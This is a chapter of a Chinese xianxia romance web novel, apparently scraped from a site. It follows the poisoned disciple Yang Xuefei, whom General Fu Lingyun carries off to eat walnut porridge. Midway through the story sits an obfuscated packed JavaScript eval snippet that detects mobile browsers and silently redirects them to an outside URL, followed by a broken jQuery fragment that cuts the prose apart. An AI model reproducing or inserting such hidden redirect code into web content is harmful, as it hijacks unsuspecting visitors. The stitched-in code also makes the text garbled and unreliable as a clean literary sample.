翌日林玉苍等几位大弟子护着齐石俊进了陶云山庄,层层搜检后,天涯盟盟主蒋云渡才接见了他们。
不知林玉苍对蒋盟主说了些什么,杨雪飞在外间等候了许久,盟主都未曾见他,倒是来了两个青年弟子,客气委婉地表示会护送他和其他一些无法行动的弟子回栖凤山。
林玉苍等其他人则被安排留下,与天涯盟众人一起,先搜救大师兄陈启风,再为狄掌门复仇。
杨雪飞安静地听他讲完,没有说话,只是点头应是。
那两个弟子没多解释,一味地催促他收拾行装,目光中夹带着一丝警惕。
杨雪飞停顿了一下,忽然道:“两位道兄可是会留在栖凤山,照拂各位师长?”
其中一人点了点头。
他们都显得闷闷不乐,显然不喜欢这种给老弱病残照料起居的任务,无奈实在本事不佳,没法参与这场针对鬼君的围剿。
杨雪飞细心地看着他们的表情,温声道:“既如此,麻烦两位道兄带师长们返回山门,雪飞就不同行了。”
“你要去哪里?”那弟子立刻警觉起来。
杨雪飞沉默了一下,轻叹道:“二位误会了,雪飞哪儿也不去。”
他说着,就当着二人的面撩起了下袍,露出肿胀的脚踝——尸体般灰白青紫的颜色已经蔓延到了小腿上,无怪他迈步行走时动作如此缓慢。
“这难道就是……”
杨雪飞点头:“寒吻蝰之毒,即便是九幽魔君也无法可解……若是路上发作起来,恐又要给二位道兄添不少麻烦——不如就让雪飞留在此地,生死自负,也免了奔波之苦,可好?”
两名弟子闻言面面相觑。
他们交换了一个眼神,其中一人去禀报了师长,没多久就回来了,说话时也有了底气。
“你就住在我们的善堂,会有人照拂你。”
他差点把监视两字说出口来。
杨雪飞却浑不在意,只是笑着点头施礼:“多谢道兄成全。”
这弟子说完便匆匆离开,重新安排部署,另一人却是留在原地,瞅着杨雪飞看了会,忽然从怀中摸出一只素色荷包,塞在了杨雪飞手中。
杨雪飞讶然抬头。
“没多少,拿着吧,买点喜欢的东西吃。”那弟子瞧模样比狄青云还大些,眼角带着淡淡的细纹——这个年纪还没有辟谷的,大约在这条道上也走不了多长了。
他低头看着杨雪飞,不知是不是想起了什么人,目光中竟有些慈爱:“也别再想过去那些事……往后的日子开心点过吧。”
-------------------------------------
杨雪飞走到山脚下前自觉地戴上了面纱,不出几步,就瞧见付凌云长身玉立地靠在一颗老柳树旁,朝着他嗤笑了一声。
“这么快就把你轰下来了?”付凌云抱着手臂,冷眼看着他拖着伤腿、一步一拐地走来。
杨雪飞笑着摇摇头,没有答话,反而问道:“将军打算带我去哪里?”
付凌云没有说话。
杨雪飞早已习惯这样的相处,付凌云对他爱答不理,只有心情极好时,才会多应他两句。
“若要滞留江南,蒋盟主令我暂居善堂。”他接着道,柔声向这位债主征求许可,“……可以么?”
付凌云无所谓地点了点头,率先往回走。
他腿长动作快,杨雪飞微微蹙起了眉,下意识也加快脚步跟上,伤腿疼得他一阵阵晕眩。
付凌云忽然停住了脚步,杨雪飞一惊,脚下一歪,险些一头栽在他身上。
神威将军长臂一伸,把他捞到身边,斥道:“毒发了?逞什么强?”
杨雪飞忙摇头道:“才刚开始胀痛,毒发还要晚些时候。”
付凌云的眉头锁在一起,他提起杨雪飞的下袍看了一眼,只见淤肿又往上蔓延了几寸,不免脸色微变。
“再乱走这条腿便废了。”付凌云冷声道,“你若残了,我还要你何用?”
杨雪飞满含歉意地低头认了错,付凌云又盯着他看了一眼,干脆托着他的膝弯,把他打横抱起来,丝毫没顾忌来往路人惊诧的目光。
杨雪飞陡然双脚腾空,忍不住轻哼了一声,惊道:“将军?”
“没我同意,不准下地。”付凌云警告道,瞧见他惊魂未定的眼神时,表情又和缓了一些,“回房里?还是想去别处?我抱你去。”
杨雪飞不由地面色一红。
纵使和师兄在一起时,他们也很少当街亲近,陈启风哪里又会像这天庭左将一样目下无尘,仿佛指指点点的行人是路过的蚂蚁一般。
“我,我想回房去。”他小声求道,“这样走在路上,岂不惹人非议。”
付凌云本是无可无不可,然而他生性傲慢,听人这么一说,反倒起了逆心,冷笑道:“凡夫蠢儒,何须在意,至于你……哼……”
他的声音渐渐隐去了,杨雪飞却将这言外之意听得一清二楚:将死之人,又何必顾忌。
他们没再说话,付凌云的脚步却是依着杨雪飞的意思,往善堂去了。
靠近善堂时,杨雪飞忽又再次开口:“将军。”
“怎么?”
“劳烦您再往前走些,我想去买些核桃粥。”小修士惭愧道,“雪飞修为低微,尚未辟谷……”
付凌云这才想起来怀里这人这一整天几乎水米不沾,无怪乎轻得与抱着一只风筝、一盏灯笼无异。
他又不免想笑,又不知好笑在哪里,大约是这个不自量力的小玩意许是实在有些招笑了,连带他也比往日里笑得多些。
“怎么吃那种东西?”神威将军故意板了脸问,倒好像吃核桃粥是什么罪过一般。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019270|193083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
杨雪飞环抱着他的脖子,离他极近,从那轻松和缓的呼吸声中,他隐约估摸出付凌云此时的心情不差。
“雪飞的故乡盛产核桃,栖凤山中也多有核桃树,雪飞自幼吃惯了。”他像山人倚着崖壁般倚着付凌云的胸膛,轻声道。
付凌云没接话,只是“嗯”了声。
他见对方没有嫌弃的意思,便接着絮絮诉来:“那时师兄们年纪大了相继辟谷,山门中也怠于料理伙食,伙房荒废久了,就积了灰……我弄不明白吃食,又怕麻烦了师兄们,便常常往山里找些被鸟啄落的核桃……”
“……也不是总是那么好找,有些已经落下来,砸碎了,有些麻烦些,要上树去采……”
他的声音轻飘飘的,听在付凌云耳中,却是另一幅新奇的景象。
一路来,怀里这人都沉稳安静如丝绢一般,他倒是想象不出这么一副行走的仕女画能在老荒山里攀上爬下,就为了找几口吃食,还和猴儿狐儿一样去抢那些被鸟喙啄开的野果。
“你还爬树?”他带着笑意问。
杨雪飞脸一红:“学了点身法后就不爬了。”
这话却是半真半假,付凌云只道他长大了就不做这幼稚事儿了,他自己却知道,身法越好,他待在树上的时间就越长。
树上总是很安静,安静得连日光穿过树叶似乎都能有声音,他在树上总是睡得最安稳——雨点、鸟雀、东南西北四个方向吹来的风,一视同仁地照顾每个穿梭在山间的弟子,他闻着风里送来的、核桃壳极淡的苦味,这个时候,他甚至不会太思念陈启风。
-------------------------------------
吵闹的人声把杨雪飞惊醒,他打了个激灵,紧接着发现自己已经被放在了一张藤椅里面。
付凌云坐在他对面,似笑非笑地看着他,手边摆着一碗没动过的茶。
杨雪飞面前放着的则是他心心念念的核桃粥。
铺子里已经点了灯,映得碗里黄澄澄一片,从稠状的粥汤来看,他已经睡着了有一会儿了,但粥仍然如新出锅一般,还是热气腾腾的。
他感激地看向付凌云,付凌云冲他摆摆手,仍旧掌着灯看着他,好像在看一只有趣的动物。
杨雪飞躲开这视线,安静地捧起粥碗。
这碗核桃粥有点过稠了,但还是香气扑鼻,桂花蜜加得不多,但确是他此生吃过的最甜的东西,钵子碾碎的核桃和鸟儿砸碎的不一样,又烧烫烧香了,气味醇厚,一丝丝钻进他喉咙里。
他一边喝着,一边怔怔看着付凌云在热气和灯火中显得俊朗模糊的脸,说了声“谢谢”。
付凌云终于移开了视线,没再看他,而是瞥向巷子远处一点点探出头的月亮。
“多吃点。”神威将军忽然开口道,又替他舀了一勺花蜜,“否则晚上熬不过去。”